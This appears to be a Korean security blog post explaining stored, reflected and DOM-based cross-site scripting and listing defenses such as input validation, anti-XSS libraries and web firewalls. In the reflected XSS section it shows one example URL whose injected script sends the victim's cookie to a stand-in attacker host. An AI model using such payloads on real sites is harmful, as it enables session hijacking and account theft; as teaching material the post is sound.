IT/Security / / 2022. 7. 4. 10:23

[XSS] 크로스사이트스크립팅 [WEB]

반응형
XSS : Cross-site Scripting

 

악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법으로 사이트에 접속한 사용자들은 의도하지 않게 삽입된 코드를 실행하게 되며 쿠키나 세션 토큰 등을 탈취당하게 된다.

 

 * XSS는 OWASP Top 10에도 포함되어 있다 

https://owasp.org/www-project-top-ten/

 

OWASP Top Ten | OWASP Foundation

The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.

owasp.org

 

 

 

 

 

XSS 종류는 Stored XSS/Reflected XSS/DOM XSS로 구분된다

 

Stored(Persistent) XSS

 

Stored XSS는 게시판이나 댓글, 닉네임 등에 스트립트가 서버에 저장되고 해당 스크립트가 삽입된 내용을 열람한 사용자는 악성스크립트로 인해 쿠키나 세션등이 해커에게 전달되게 되고, 세션ID가 포함된 쿠키는 해커가 해당 계정으로 로그인을 가능하게 합니다.

 

XSS 공격 종류 중 하나인 Persistent XSS 는 말 그대로 지속적으로 피해를 입히는 XSS 공격입니다. 위의 그림을 보면, 해커는 웹 애플리케이션에서 XSS 취약점이 있는 곳을 파악하고, 악성스크립트를 삽입합니다.

 

삽입된 스크립트는 데이터베이스에 저장이 되고, 저장된 악성스크립트가 있는 게시글 등을 열람한 사용자들은 악성스크립트가 작동하면서 쿠키를 탈취당한다던가, 혹은 다른 사이트로 리다이렉션 되는 공격을 받게 됩니다.

 

데이터베이스에 저장이 되어 지속적으로 공격한다고 하여 Persistent XSS 라고 부르며, 데이터베이스에 저장이 되므로 Stored XSS 공격이라고 부르기도 합니다. 한번의 공격으로 악성스크립트를 삽입하여 수많은 피해를 입힐 수 있다는 점이 특징입니다.

 

Persistent XSS로 가장 많이 공격이 되는 곳은 게시판이며, 굳이 게시판이 아니더라도 사용자가 입력한 값이 데이터베이스에 저장이 되고, 저장된 값이 그대로 프론트엔드 단에 보여주는 곳에 공격이 성공할 가능성이 큽니다. XSS공격도 마찬가지로 사용자의 입력에 대한 검증이 없기 때문에 발생합니다.

 

Reflected XSS

 

Reflected XSS는 URL(GET 방식)에 스트립트를 넣어 서버에 저장하지 않고 즉시 스크립트를 만드는 방식입니다.

예를들어, GET 방식으로 검색 기능을 구현한 웹 어플리케이션에 XSS 취약점이 있음을 확인한 해커는 공격코드를 작성했을 때

http://www.naver.com?search=<script>location.herf("http://hackerlocal/cookie.php?vlaue="+document.cookie);</script> 

 

위와같은 스크립트를 통해 사용자의 쿠키값을 전송하도록 되어 있습니다. 의도하지 않게 자신의 쿠키를 전송하게 되는거죠.

 

DOM(Document Object Model) XSS 공격

 

DOM based XSS는 악의적인 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에서 발생합니다. 악의적인 스크립트로 인해 클라이언트 측 코드가 원래 의도와는 다르게 실행됩니다.

 

DOM based XSS는 다른 XSS와는 다르게 서버측에서 탐지하기 어렵다는 점이 있습니다. 위 그림을 보면 해커는 http://www.some.site/page.html URL과 함께 # 특수문자를 사용하고 있습니다. 이 특수문자는 # 이후의 값은 서버로 전송되지 않는다는 기능을 갖고 있습니다.

 

그러면 위 그림과 같이 사용자 요청에 따라 HTML을 다르게 해석하며 의도치 않은 동작을 수행하게 됩니다.

 

이러한 XSS 공격을 막기 위해선 가지 방법이 있습니다.

 

대응 방법

1. 입출력값 검증

사용자가 입력한 값에 대한 검증과 출력할때의 값도 검증을 합니다. XSS Cheat Sheet에 대한 목록을 만들어 Cheat Sheet에 대한 대응을 해야 합니다.

 

XSS Cheat Sheet site

 

XSS Filter Evasion - OWASP Cheat Sheet Series

XSS Filter Evasion Cheat Sheet Introduction This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from h

cheatsheetseries.owasp.org

 

2. XSS 방어 라이브러리, 브라우저 확장 앱 사용

XSS를 막아주는 Anti XSS라이브러리를 여러 회사에서 제공하고 있는데 이 라이브러리를 사용하여 방어 합니다. XSS 라이브러리를 사용하는것은 서버단에서 개발자가 추가하면 되지만 모든 사이트가 방어된다는 보장이 없기에, 사용자는 브라우저 확장앱 중 Anti XSS를 설치해주는 애플리케이션을 설치해야 합니다.

 

3. 웹 방화벽 사용

웹방화벽은 웹공격에 특화되어있어 XSS 뿐만아니라 Injection공격에도 효과적으로 방어 가능합니다.

반응형
  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유